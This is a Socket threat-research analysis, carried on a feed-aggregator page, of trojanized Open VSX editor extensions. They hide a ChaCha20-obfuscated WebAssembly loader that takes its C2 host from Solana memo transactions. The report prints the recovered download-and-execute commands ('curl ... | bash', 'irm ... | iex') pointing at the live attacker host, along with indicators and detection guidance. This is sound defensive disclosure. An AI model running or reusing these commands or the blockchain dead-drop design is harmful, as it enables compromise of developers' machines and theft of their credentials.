惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Cisco Blogs
Schneier on Security
Schneier on Security
T
Tor Project blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
T
Tenable Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
T
Threat Research - Cisco Blogs
C
CERT Recently Published Vulnerability Notes
Security Latest
Security Latest
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
NISL@THU
NISL@THU
L
Lohrmann on Cybersecurity
Scott Helme
Scott Helme
Webroot Blog
Webroot Blog
Project Zero
Project Zero
Google Online Security Blog
Google Online Security Blog
The Last Watchdog
The Last Watchdog
Spread Privacy
Spread Privacy
Hacker News: Ask HN
Hacker News: Ask HN
PCI Perspectives
PCI Perspectives
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
W
WeLiveSecurity
Attack and Defense Labs
Attack and Defense Labs
D
Darknet – Hacking Tools, Hacker News & Cyber Security
N
News | PayPal Newsroom
Help Net Security
Help Net Security
The Hacker News
The Hacker News
H
Heimdal Security Blog
O
OpenAI News
S
Security @ Cisco Blogs
N
News and Events Feed by Topic
Cyberwarzone
Cyberwarzone
Simon Willison's Weblog
Simon Willison's Weblog
G
GRAHAM CLULEY
www.infosecurity-magazine.com
www.infosecurity-magazine.com
博客园 - 叶小钗
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Hacker News - Newest:
Hacker News - Newest: "LLM"
T
Tailwind CSS Blog
大猫的无限游戏
大猫的无限游戏
A
Arctic Wolf
I
Intezer
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
S
Security Affairs
P
Proofpoint News Feed
S
Secure Thoughts
腾讯CDC
Google DeepMind News
Google DeepMind News
量子位
罗磊的独立博客

Socket

Suno Breached via Shai-Hulud Worm, Leaked Code Exposes AI Mu... Next.js moves to scheduled security releases - Socket 11 Malicious NuGet Tools Pose as Game Cheats to Drop a Windo... Compromised npm Packages in the AsyncAPI Namespace Deliver M... jscrambler npm Package Compromised in Supply Chain Attack - ... Fake Braintree NuGet Package Skims Credit Cards and Harvests... Compromised Injective SDK npm Package Exfiltrates Wallet Key... npm v12 Ships With Install Scripts Off by Default, Begins De... Malicious Go Module Exposes GitHub Malware Lure Network Span... pnpm 11.10 Hardens Registry Authentication to Block Token Re... Coordinated npm and PyPI Campaign Typosquats Popular Secure ... Node.js Considers Public Workflow for Security Reports Amid ... PolinRider: North Korea-Linked Supply Chain Campaign Expands... Risky Biz Podcast: AI Agents Are Raising the Stakes for Soft... Chrome and Firefox Extensions Posing as Free VPNs Add Clipbo... Miasma Mini Shai-Hulud Hits ImmobiliareLabs npm Packages - S... Rolldown Pulls Rust React Compiler Integration After Binary ... Miasma Mini Shai-Hulud Hits LeoPlatform npm Packages and Git... Frontier AI Is Now Critical Infrastructure - Socket The Code You Didn't Write Is Still Yours to Defend - Socket GitHub Actions Checkout Now Blocks Risky pull_request_target... Introducing Repository Access Permissions and Custom Roles -... Socket MCP Adds Org Alerts, Threat Feed Review, and Package ... Socket Firewall Now Blocks Malicious VS Code and Open VSX Ex... 140+ Mastra npm Packages Compromised in Coordinated Supply C... npm Package Uses Prompt Injection and Token Flooding to Disr... Introducing Manifest Alerts - Socket Socket for Linear Is Now Available - Socket US Government Forces Anthropic to Pull Claude Fable Days After Launch 152 Chrome Live Wallpaper Extensions Hid Ad Tracking and Faked Google Search Traffic Andrew Becherer Joins Socket as Chief Information Security Officer Socket Partners with Replit to Block Malicious Packages in AI-Powered Development npm Tooling Bug Incorrectly Marks One-Character Packages as Security Holders Mini Shai-Hulud, Miasma, and Hades Worms Target Bioinformatics and MCP Developers via Malicious PyPI Wheels Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems pnpm 11.5 Adds Support for Recognizing npm Staged Publishes pnpm 11.5 Adds Support for Recognizing npm Staged Publishes Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Famous Chollima Targets PHP Developers Through Compromised Packagist Package Famous Chollima Targets PHP Developers Through Compromised Packagist Package Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io Laravel Lang Compromised with RCE Backdoor Across 700+ Versions Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects AI Has Taken Over Open Source npm Invalidates Granular Access Tokens as Mini Shai-Hulud Sweeps the Registry Coruna Respawned: Compromised art-template npm Package Leads to iOS Browser Exploit Kit Socket raises $60M Series C at $1B valuation led by Thrive Capital to secure AI-driven software development Socket Raises $60M Series C at a $1B Valuation to Help Enterprises Build Securely With AI Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor Active Supply Chain Attack Compromises @antv Packages on npm Popular node-ipc npm Package Infected with Credential Stealer TeamPCP and BreachForums Launch $1,000 Contest for Supply Chain Attacks Packagist Urges Immediate Composer Update After GitHub Actions Token Leak GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government Socket Named to Rising in Cyber 2026 List of Top Cybersecurity Startups TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack fsnotify Maintainer Dispute Sparks Supply Chain Concerns Socket Releases Free Certified Patches for Critical vm2 Sandbox Escape 5 Malicious NuGet Packages Impersonate Chinese UI Libraries to Distribute Crypto Wallet and Credential Stealer pnpm 11 Adds Supply Chain Protection Defaults for Minimum Release Age and Exotic Subdependencies PyPI Fixes High-Severity Access Control Issues Found in Security Audit Malicious Ruby Gems and Go Modules Impersonate Developer Tools to Steal Secrets and Poison CI Mini Shai-Hulud Spreads to Packagist: Malicious Intercom PHP Package Follows npm Compromise Intercom’s npm Package Compromised in Ongoing Mini Shai-Hulud Worm Attack lightning PyPI Package Compromised in Supply Chain Attack Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables SAP CAP npm Packages Hit by Supply Chain Attack Socket Has Acquired Secure Annex 73 Open VSX Sleeper Extensions Linked to GlassWorm Show New Malware Activations Introducing Reachability for PHP Introducing Data Exports Malicious Checkmarx Artifacts Found in Official KICS Docker Repository and Code Extensions Introducing Organization Notifications in Socket Introducing Reports: An Extensible Reporting Framework for Socket Data Socket for Jira Is Now Available Socket Named Top Sales Organization by RepVue NIST Officially Stops Enriching Most CVEs as Vulnerability Volume Skyrockets Socket Selected for OpenAI's Cybersecurity Grant Program Feross on the 10 Minutes or Less Podcast: Nobody Reads the Code 108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure Node.js Drops Bug Bounty Rewards After Funding Dries Up The Hidden Blast Radius of the Axios Compromise
GlassWASM: WebAssembly Malware Found in Trojanized Open VSX ...
Joseph Edwards · 2026-06-16 · via Socket

Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.

Install

Socket’s Threat Research team discovered compiled WebAssembly malware embedded in trojanized code extensions for Visual Studio Code. At the time of publication, we identified the following affected package versions on the Open VSX marketplace:

These extensions ship a WebAssembly payload behind a renamed TinyGo loader, and both auto-execute it on extension activation via an appended bootstrap that instantiates the module with go.run(). The fake-utility framing (a theme; a "transaction hash" debugger) is social-engineering cover; the debugger variant even themes its UI around blockchain "transaction" debugging to fit its crypto-targeting payload.

snqpkebiwrxmoivl.wasm is a WebAssembly module compiled from Go with TinyGo for the js/wasm target, meaning it is designed to be loaded and executed by a JavaScript host. The WASM module contains no plaintext network indicators, URLs, or commands; every string of consequence is encrypted in the binary with a ChaCha20 cipher and reconstructed in memory only at runtime. This makes it difficult to detect by signatures simply using natural language or readable strings.

Once deobfuscated, the module's purpose is unambiguous. It polls the Solana mainnet JSON-RPC API for transactions sent to an attacker-controlled wallet, reads the attacker's instructions out of the on-chain SPL Memo field, and uses that to build and execute an OS-specific download-and-execute command via Node's child_process. The Solana blockchain is used as a takedown-resistant command-and-control (C2) dead-drop: there is no hardcoded server to seize or sinkhole, and the operator can rotate second-stage infrastructure simply by posting a new transaction.

This report documents the attack chain, including the live RPC endpoint, the watched wallet address, the memo program IDs, Command and Control, and the verbatim shell/PowerShell payload templates which execute the next stage of malware.

Due to significant overlap in tradecraft and targeted platforms, as well as some key shared artifacts, we attribute this campaign with medium confidence to the GlassWorm developer. However, the use of WebAssembly/TinyGo ****as a stager suggests a new pivot to binary loading for obfuscation purposes. We have labeled this family “GlassWASM” to highlight this connection.

Extension Impersonation#

The two carriers are trojanized clones of legitimate, verified VS Code Marketplace extensions, re-published on the Open VSX registry under impersonated publisher namespaces. A single Open VSX account, zaitoona43 (GitHub UID 291961103, github[.]com/zaitoona43), uploaded both: ExarGD/vsblack@0.0.1 on 2026-06-09 and noellee-doc/flint-debug@0.1.1 on 2026-06-10. Zaitoona43’s Github account was only 3 days old at the time of publication:

The originals are low-profile, long-dormant open source projects whose authors are unlikely to be monitoring Open VSX: ExarGD.vsblack is a black-background variant of the popular dunstontc.dark-plus-syntax theme, published to the VS Code Marketplace in July 2019 (repo github[.]com/ExarGD/VSBlack-Theme, since renamed kainarchai/VSBlack-Theme). noellee-doc.flint-debug is an academic Ethereum/Flint smart-contract debugger by Noel Lee of Imperial College, published in June 2020 (repo github[.]com/noellee/vscode-flint-debug).

Each malicious clone reproduces its target's exact publisher ID, extension name, version string, description, README, and even the original author's GitHub repository links, then adds the ChaCha20-obfuscated WASM payload and an onStartupFinished activation hook that runs it.

This is identity impersonation that exploits a cross-registry trust gap, not typosquatting. The publisher and extension names are identical to the originals. The VS Code Marketplace binds a publisher ID to a verified owner, so an attacker cannot re-use noellee-doc or ExarGD there; the genuine listings remain clean (noellee-doc.flint-debug v0.1.1 last updated June 2020; ExarGD.vsblack v0.0.1 from July 2019).

Open VSX highlights zaitoona43 as the publisher of those identically named and identically versioned packages. But a developer who finds "Flint Debug 0.1.1" or "VSBlack 0.0.1" on Open VSX — the default registry for VSCodium, Gitpod, Cursor, Windsurf, and other VS Code forks — sees a name, version, description, and repo link that all match the trusted Marketplace listing. The targets are telling: the Flint debugger's blockchain / "transaction hash" framing aligns with the payload's crypto-developer focus.

We reported these packages and the malicious publisher to the Open VSX security team, who reacted quickly to remove them from the registry.

  • SHA-256: 558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f
  • SHA-1: 8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4
  • MD5: 4e143876eeaf5e767a9971f603b0f13c
  • Size: 824,552 bytes
  • Format: WebAssembly MVP (v1), validates clean
  • Toolchain: TinyGo → js/wasm target
  • Functions: 478 (Code section)
  • Data segments: 45 (uses bulk-memory DataCount)
  • Obfuscation: ChaCha20 string encryption; debug/name section stripped
  • Host required: JavaScript runtime (Node.js / browser) via syscall/js bridge

The toolchain fingerprint is distinctive. The import table contains the TinyGo gojs bridge and the runtime tick functions, and the export table contains TinyGo's asyncify-based goroutine scheduler:

# Imports (wasm-objdump -j Import -x)  — 17 total
wasi_snapshot_preview1.proc_exit
wasi_snapshot_preview1.fd_write
wasi_snapshot_preview1.random_get
gojs.runtime.ticks
gojs.runtime.sleepTicks
gojs.syscall/js.valueGet
gojs.syscall/js.valueCall
gojs.syscall/js.valueInvoke
gojs.syscall/js.valueNew
gojs.syscall/js.valueSet        (+ valueSetIndex, valueIndex, valueLength,
gojs.syscall/js.stringVal        stringVal, valuePrepareString,
                                 valueLoadString, finalizeRef)

# Exports (wasm-objdump -j Export -x)
_start, malloc, free, calloc, realloc, resume, go_scheduler,
asyncify_start_unwind, asyncify_stop_rewind, asyncify_start_rewind,
asyncify_stop_unwind, asyncify_get_state, ...

The presence of the gojs.syscall/js.* imports (rather than a pure WASI surface) is the key behavioral fact: this module cannot perform any I/O on its own. It has no network or filesystem syscalls. Everything it does — fetching from the network, spawning processes — is delegated to the JavaScript host through valueCall / valueInvoke / valueNew. The .wasm is the obfuscated logic core; a loader script (the TinyGo wasm_exec.js glue plus an invocation shim) is the required other half.

Obfuscation Analysis#

The single most important static observation is what is missing. A full-file sweep for network indicators returns nothing:

# All return ZERO hits against the raw .wasm:
$ grep -a -c -F 'api.mainnet.solana.com'                   snqpkebiwrxmoivl.wasm   # 0
$ grep -a -c -F '6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz' snqpkebiwrxmoivl.wasm # 0
$ grep -a -c -F 'child_process'                            snqpkebiwrxmoivl.wasm   # 0
$ grep -a -c -F 'execSync'                                  snqpkebiwrxmoivl.wasm   # 0
$ grep -a -c -F 'getSignaturesForAddress'                   snqpkebiwrxmoivl.wasm   # 0
$ grep -oE 'https?://[^"'"'"' ]+'                           snqpkebiwrxmoivl.wasm   # (none)

Yet the module clearly performs Solana RPC work — the Go reflection metadata that TinyGo leaves in the data section spells out structs that mirror Solana JSON-RPC response shapes verbatim:

# Recovered from the Data section (Go struct field tags, plaintext):
main.sigInfo   { Signature `json:"signature"`  Err `json:"err"`
                 Memo `json:"memo"`  BlockTime `json:"blockTime"` }
main.txResp    { Transaction `json:"transaction"` ...
                 AccountKeys `json:"accountKeys"`  Pubkey `json:"pubkey"`
                 Signer `json:"signer"`  Instructions `json:"instructions"` }
main.parsedIns { Program `json:"program"`  ProgramId `json:"programId"`
                 Parsed `json:"parsed"` }
#  + meta.logMessages, meta.innerInstructions
#  + JSON-RPC envelope: result / error / code / message

The gap between "parses Solana transactions" and "contains no URLs" is bridged by an embedded cipher. The ChaCha20 key-schedule constant is present in the data section at memory offset 0x10000:

$ grep -aboF 'expand 32-byte k' snqpkebiwrxmoivl.wasm
# match at file offset 0xb8586  ->  linear-memory address 0x10000

expand 32-byte k is the ChaCha/Salsa sigma constant and is used by nothing else. Translating the module to C with wasm2c and locating the rotation-heavy function confirms a textbook ChaCha20 implementation — the canonical quarter-round with rotate-lefts of 16, 12, 8, 7, iterated for 20 rounds:

// wasm2c output, function w2c_..._f20 — the ChaCha20 block function
a += b;  d ^= a;  d = ROTL(d, 16);
c += d;  b ^= c;  b = ROTL(b, 12);
a += b;  d ^= a;  d = ROTL(d, 8);
c += d;  b ^= c;  b = ROTL(b, 7);    // ← ChaCha quarter-round
// ... looped while (counter <= 19)  → 20 rounds, over a 16-word state

The wrapper function (f19) builds the 64-byte ChaCha state explicitly: the 16-byte sigma constant from 0x10000, a 32-byte key from a runtime-populated buffer at 0x211CC, and a zero counter/nonce. The key buffer sits past the last of the 45 data segments, so it is BSS that is filled at runtime rather than a static constant — defeating naïve key extraction. For defenders, the practical consequence is that static string scanning and YARA rules keyed on URLs or the wallet address will not fire on this file. The indicators exist only after execution.

Attack Chain Summary#

┌──────────────────────────────────────────────────────────────────────────--┐
│ 0. DELIVERY                                                                │
│    Malicious Open VSX extension ships snqpkebiwrxmoivl.wasm + JS loader.   |  
│    Loader instantiates the TinyGo module in Node via wasm_exec.js glue.    │
└───────────────┬────────────────────────────────────────────────────────────┘
                │
┌───────────────▼────────────────────────────────────────────────────────────┐
│ 1. STRING DEOBFUSCATION (in-memory, ChaCha20)                              │
│    All URLs / addresses / commands decrypted into linear memory at runtime.│
└───────────────┬────────────────────────────────────────────────────────────┘
                │  via JS host: fetch()
┌───────────────▼────────────────────────────────────────────────────────────┐
│ 2. BLOCKCHAIN C2 RESOLUTION (Solana mainnet dead-drop)                     │
│    POST <https://api.mainnet.solana.com>                                   │
│      getSignaturesForAddress(6ExrZayP…6rpz, {limit:50, before:…})          │
│      getTransaction(sig, {encoding:"jsonParsed", maxSupportedTxVersion})   │
│    Parse SPL Memo instruction  →  extract attacker-supplied C2 HOST        │
│    (rate-limit aware: 429 / "too many" / retry-after)                      │
└───────────────┬────────────────────────────────────────────────────────────┘
                │  HOST interpolated into platform template
┌───────────────▼────────────────────────────────────────────────────────────┐
│ 3. CROSS-PLATFORM DOWNLOAD-AND-EXECUTE (via Node child_process)            │
│    darwin : curl -fsSL <https://HOST/darwin/i/_> | bash                    │
│    linux  : curl -fsSL <https://HOST/linux/i/_>  | bash                    │
│    win32  : powershell -Command "irm <https://HOST/win32/i/_> | iex"       │
│    run via require('child_process').execSync(cmd, { windowsHide:true })    │
└─────────────────────────────────────────────────────────────────────────--─┘

All Stage 2 and Stage 3 strings below were recovered by compiling the module with wasm2c, running it inside a harness that stubs every gojs/WASI import as inert (no network, no filesystem, random_get → zeros, proc_exit → trap), bounding the goroutine scheduler with a watchdog, and dumping linear memory. The run halted exactly where expected — at the first real JS call — proving the Go-side logic executed:

[fd_write fd=1] panic: syscall/js: call of Value.Invoke on undefined
[wasm trap caught]
[memdump 393216 bytes -> /tmp/memdump.bin]

Stage 1 — TinyGo/WebAssembly Packaging as an Evasion Layer#

Compiling the payload logic to WebAssembly is itself the first evasion technique. npm malware scanners, linters, and human reviewers are overwhelmingly tuned for JavaScript and TypeScript source; a .wasm blob is opaque binary that most pipelines do not disassemble. By writing the logic in Go and shipping it as Wasm, the author moves the entire decision tree — the RPC client, the transaction parser, the command builder — out of inspectable script and into a 478-function binary with its symbol/name section stripped.

# No custom name section — internal function names are gone.
$ wasm-objdump -h snqpkebiwrxmoivl.wasm | grep -i custom   # (nothing)
# Only Go reflection metadata survives, which is what gave us the struct shapes.

The module reaches the outside world exclusively through the syscall/js bridge. In the recovered memory, the JavaScript property and method names it drives are visible as a cluster — this is the fetch-based HTTP client and the process-execution path, assembled at runtime:

# Recovered from linear memory (absent from the static file):
then  catch  method  application/json  content-type  headers  body  fetch
status  headers  retry-after  get  text                         ← fetch() RPC client
process  platform  require  child_process  execSync  windowsHide ← process execution

For defenders, the lesson is that WebAssembly in an npm package is a high-signal artifact in its own right. A package that ships a .wasm file and a small JS shim that instantiates it deserves the same scrutiny as a heavily obfuscated script. The gojs.syscall/js.* import names are a reliable tell that a Wasm module is built to drive the host's JavaScript environment — including fetch, require, and child_process — rather than to do isolated computation.

Stage 2 — Solana Blockchain as a C2 Dead-Drop#

Rather than embedding a C2 domain, the module reads its marching orders off the public Solana blockchain. It issues a getSignaturesForAddress call against a hardcoded wallet, walks the returned signatures (with before-based pagination and a limit of 50), fetches each transaction with getTransaction, and reads the attacker's data out of the SPL Memo instruction attached to those transactions. The complete RPC request was recovered verbatim from memory:

// Recovered from linear memory — exact request body:
{"id":1,"jsonrpc":"2.0","method":"getSignaturesForAddress",
 "params":["6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz",{"limit":50}]}
# Supporting strings recovered from memory:
<https://api.mainnet.solana.com>                 ← Solana mainnet JSON-RPC endpoint
6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz    ← attacker-controlled watched wallet
getSignaturesForAddress   getTransaction         ← RPC methods
jsonParsed   encoding   maxSupportedTransactionVersion
limit   before                                   ← pagination
rate   too many   retry-after                     ← HTTP 429 / rate-limit handling

# SPL Memo program IDs the parser looks for in each transaction's instructions:
MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr      ← SPL Memo program v2
Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM        ← SPL Memo program v1
spl-memo   "Memo (len ...)"

The flow is: enumerate recent transactions to the watched wallet → identify the ones carrying a Memo instruction (matched against the two canonical SPL Memo program IDs) → extract the memo text. That memo text supplies the C2 host that is missing from the command templates (Stage 3), where the host slot is conspicuously empty (https:///darwin/i/_).

To resolve the live instruction, we issued the module's own getSignaturesForAddress query against the public Solana RPC. The memo dead-drop is live and consistent across multiple transactions (the earliest was 2026-05-23):

// getSignaturesForAddress(6ExrZayP…6rpz) — selected results, 2026-06-11
{ "blockTime": 1780564457, "memo": "[9] dodod.lat",
  "signature": "3gpskPXVJ86xPEtVf1zUVvu278Nu46Hr6pt4veNkiq1AJWxSzKYDfj7zWEdanYaJWqe3C73Y6tcwyASv55vy6QQh" }
{ "blockTime": 1779528144, "memo": "[9] dodod.lat", "signature": "48FcSmKAbGkR4a359RDKrGGSMwC15CM3YeAkzZMpRpiCPDG2JjWUQEwp6gJKujbe3ZNp6B7NH8JCQnHRtm2FtFzo" }
{ "blockTime": 1779522241, "memo": "[9] dodod.lat", "signature": "jYqcqeRLt6VNvag6pwgjrknVRjABv4gw4shCi3PcKu8mKcJqpgTNMRDHKrKQSxvcNHeGqSCuPwt7SgMGjwbE1Tv" }

The [9] is the numeric length prefix the loader strips before consuming the payload (here, the 9-byte string dodod.lat); this [N] payload memo structure is the GlassWorm dead-drop signature. The resolved C2 host is therefore dodod[.]lat, yielding the live second-stage URLs https[://]dodod[.]lat/darwin/i/_, https[://]dodod[.]lat/linux/i/_, and https[://]dodod[.]lat/win32/i/_.

This architecture is deliberately resilient. The wallet address is the only fixed point, and it is not infrastructure an investigator can take down. To rotate second-stage servers, the operator signs a new transaction containing a new memo; every infected host picks up the new host on its next poll. Blocking the wallet is also awkward in practice because api.mainnet.solana.com is a legitimate, widely used public endpoint, and the traffic is ordinary HTTPS JSON-RPC that blends with any application that legitimately reads Solana state.

For defenders, the high-value detections are: outbound JSON-RPC to Solana endpoints from a Node.js process that has no business reading the blockchain (especially getSignaturesForAddress immediately followed by getTransaction with jsonParsed); any code path that extracts SPL Memo instruction data and then feeds it into string formatting that ends in a shell; and the watched wallet address 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz appearing in process memory, logs, or captured traffic.

Stage 3 — Cross-Platform Download-and-Execute via child_process#

With the C2 host resolved from the on-chain memo, the module branches on process.platform and constructs an operating-system-specific download-and-execute command. All three templates were recovered verbatim; the empty // is the placeholder where the memo-supplied host is interpolated:

# Recovered command templates
darwin :  curl -fsSL https:///darwin/i/_ | bash
linux  :  curl -fsSL https:///linux/i/_  | bash
win32  :  powershell -Command "irm https:///win32/i/_ | iex"

# Surrounding execution primitives recovered alongside them:
process   platform   require   child_process   execSync   windowsHide
darwin    linux      win32

The pattern is a classic fileless loader: curl -fsSL … | bash on Unix-like systems and irm … | iex (Invoke-RestMethod piped to Invoke-Expression) on Windows both fetch a script over HTTPS and execute it directly in memory, with -fsSL/irm chosen to stay quiet and follow redirects. Execution is performed through Node's require('child_process').execSync(...), and the recovered windowsHide token indicates the child process is spawned with the console window suppressed so the victim sees no flashing terminal.

To confirm the end-to-end behavior with the live host interpolated, we ran the module under the original VS Code loader's TinyGo glue inside a capability-sandboxed globalThis: fetch returned the canned on-chain memo response (no real network) and require('child_process') was intercepted to log commands rather than execute them. The module performed the full chain — getSignaturesForAddressgetTransaction → memo parse → command build — and called execSync with the fully resolved command for each platform branch:

[PLAT=darwin] execSync: curl -fsSL <https://dodod.lat/darwin/i/_> | bash      opts={"windowsHide":true}
[PLAT=linux ] execSync: curl -fsSL <https://dodod.lat/linux/i/_>  | bash      opts={"windowsHide":true}
[PLAT=win32 ] execSync: powershell -Command "irm <https://dodod.lat/win32/i/_> | iex"   opts={"windowsHide":true}

Notably, windowsHide:true is passed on every platform, not just Windows. The URL structure — /<platform>/i/_ — confirms the operator serves a different second stage per operating system from the same host.

Because the fetched second stage is delivered at runtime from an attacker-rotated host, its capability is open-ended: infostealer, wallet drainer, persistence module, or a further loader. The module itself does not need to contain any of that logic, which keeps the shipped .wasm small and behaviorally innocuous to static analysis.

For defenders, the durable detections live at this stage and do not depend on the rotating host: a Node.js process spawning bash, sh, curl, or powershell; any child_process execution whose command line contains curl … | bash, irm … | iex, or Invoke-Expression; and process creation with window-hiding flags originating from a Node runtime. EDR telemetry on node → curl/powershell parent-child relationships will catch this regardless of which C2 host the blockchain memo currently points to.

At the time of analysis (2 days after package publication), the Command and Control server dodod[.]lat, located behind Cloudflare infrastructure, did not serve the next-stage payloads, so the attacker’s ultimate intent could not be confirmed. This could be due to detection or server-side victim gating. However, this is subject to change at any time, as is the C2 domain.

Campaign Attribution#

The tradecraft in this module overlaps significantly with the GlassWorm supply-chain campaign, which between roughly November 2025 and March 2026 compromised 400+ components across npm, the VS Code Marketplace, Open VSX, and GitHub. GlassWorm's defining innovation was the use of Solana transaction memos sent to a watched wallet as a takedown-resistant C2 dead-drop that resolves a rotating second-stage host, hidden behind encrypted, runtime-decrypted loaders. Three specifics tie this artifact to that family:

  • Identical dead-drop mechanism. Poll a Solana RPC for signatures to a fixed wallet, read the Memo instruction, strip a numeric prefix, and use the remainder to resolve the next stage. Our recovered memo [9] dodod[.]lat exhibits the exact [N] payload format GlassWorm uses (a numeric length prefix the loader removes before consuming the payload).
  • Runtime-decrypted loader. GlassWorm hides logic behind encrypted strings reconstructed only at runtime; this module does the same with an embedded ChaCha20 routine and ships zero plaintext IOCs.
  • Infrastructure-rotation goal. The wallet is the only fixed point; the operator rotates staging hosts by posting new memos. GlassWorm reporting counted ~50 such memo-update transactions over the campaign.
  • Open VSX delivery vector. GlassWorm's documented campaign abused the Open VSX registry — the default extension marketplace for VS Code forks (VSCodium, Cursor, Windsurf, Gitpod) — to distribute trojanized editor extensions via compromised or impersonated publisher accounts. This sample matches that vector exactly: a single account, zaitoona43, published identity-cloned trojanized extensions to Open VSX under impersonated namespaces (ExarGDnoellee-doc) on 2026-06-09/10 (see Extension Impersonation), reusing the names, versions, and repo links of legitimate, verified VS Code Marketplace extensions.

Two differences make this new campaign a distinct, previously undocumented variant:

  • Implementation language. Public GlassWorm loaders were heavily obfuscated JavaScript (a WebSocket RAT) plus a .NET hardware-wallet phishing binary. This artifact is TinyGo-compiled WebAssembly — a markedly more evasive packaging choice that moves the entire decision tree out of inspectable script.
  • Net-new indicators. The host dodod.lat, the wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, and the /<platform>/i/_ URL scheme do not appear in prior GlassWorm reporting, which listed IP-based C2 such as 45.32.150[.]251, 217.69.3[.]152/wall, and exfil host 45.150.34[.]158. This sample uses a domain-based host and an OS-segmented download path instead.

Attribution is therefore assessed as GlassWorm-associated / GlassWorm-derived tradecraft, with this specific WebAssembly variant and its infrastructure previously unreported. Treat dodod.lat and the watched wallet as fresh, actionable IOCs.

  1. Block and hunt for the host, wallet, and endpoint. Block and alert on the C2 host dodod.lat (and any https://dodod.lat/<platform>/i/_ retrieval), the Solana wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, and getSignaturesForAddress/getTransaction JSON-RPC calls to api.mainnet.solana.com originating from Node.js processes that are not expected to read the blockchain. Note that the host rotates via new memos — re-resolve the wallet's latest memo periodically to track current infrastructure.
  2. Detect on the execution chain, not the C2 host. Deploy EDR rules for node spawning bash/sh/curl/powershell, and for command lines containing curl -fsSL … | bash or irm … | iex. These fire regardless of blockchain memo rotation.
  3. Treat shipped .wasm in npm packages as high-risk. Flag any package that includes a WebAssembly module plus a JS shim that instantiates it. Disassemble such modules; the gojs.syscall/js.* import signature indicates a Wasm module built to drive the host's JS environment (fetchrequirechild_process).
  4. Uninstall the trojanized extensions from Open VSX and VS Code forks, and hunt fleet-wide. The malicious builds were distributed via Open VSX, so prioritize editors that default to it — VSCodium, Cursor, Windsurf, Gitpod, and any VS Code instance configured to use Open VSX. Remove ExarGD.vsblack@0.0.1 and noellee-doc/flint-debug@0.1.1, and check ~/.vscode/extensions~/.vscode-oss/extensions~/.cursor/extensions~/.windsurf/extensions, and equivalents for these publisher/extension IDs and for any extension bundling a .wasm next to a renamed TinyGo loader. Crucially, the genuine VS Code Marketplace listings (ExarGD.vsblacknoellee-doc.flint-debug) are the clean 2019/2020 originals and are not compromised — scope removal to the Open VSX copies and any install whose version was sourced from Open VSX. Any host that activated either extension should be treated as having executed the attacker's second stage.
  5. Roll potentially exposed secrets. On any host that executed this module, assume an unknown attacker-controlled second stage ran with the privileges of the Node process. Rotate developer, CI, cloud, and npm credentials reachable from that environment.
  6. Add Wasm-aware analysis to CI. Incorporate wasm2c/wabtbased extraction and string recovery into package-vetting pipelines so obfuscated WebAssembly payloads are deobfuscated and scanned rather than treated as opaque blobs.

Indicators of Compromise#

Note: Network Indicators were resolved from the most recent Solana transaction memo at the time of publication.

Affected Packages (Open VSX)

Threat Actor Accounts

  • github[.]com/zaitoona43

File Hashes

orybbbdsuqmaapel.wasm / snqpkebiwrxmoivl.wasm

  • SHA256**:** 558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f
  • SHA1**:** 8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4
  • MD5**:** 4e143876eeaf5e767a9971f603b0f13c

noellee-doc.flint-debug-0.1.1.vsix

  • SHA256: 3aa31999398e7f80231c03d7137ffdb554a84b83dbcffc59ce16c9a65f9e5d58
  • SHA1: c0ed7d575fe8085e942898c9a26f15992c895ba9
  • MD5: b262b8d2ac2f0ab3c78251db44ecf3ac

exargd.vsblack-0.0.1.vsix

  • SHA256: 1e283327ad048bea39f4a8501770858a20f3555e87fe3e202274f2e87f8a3c25
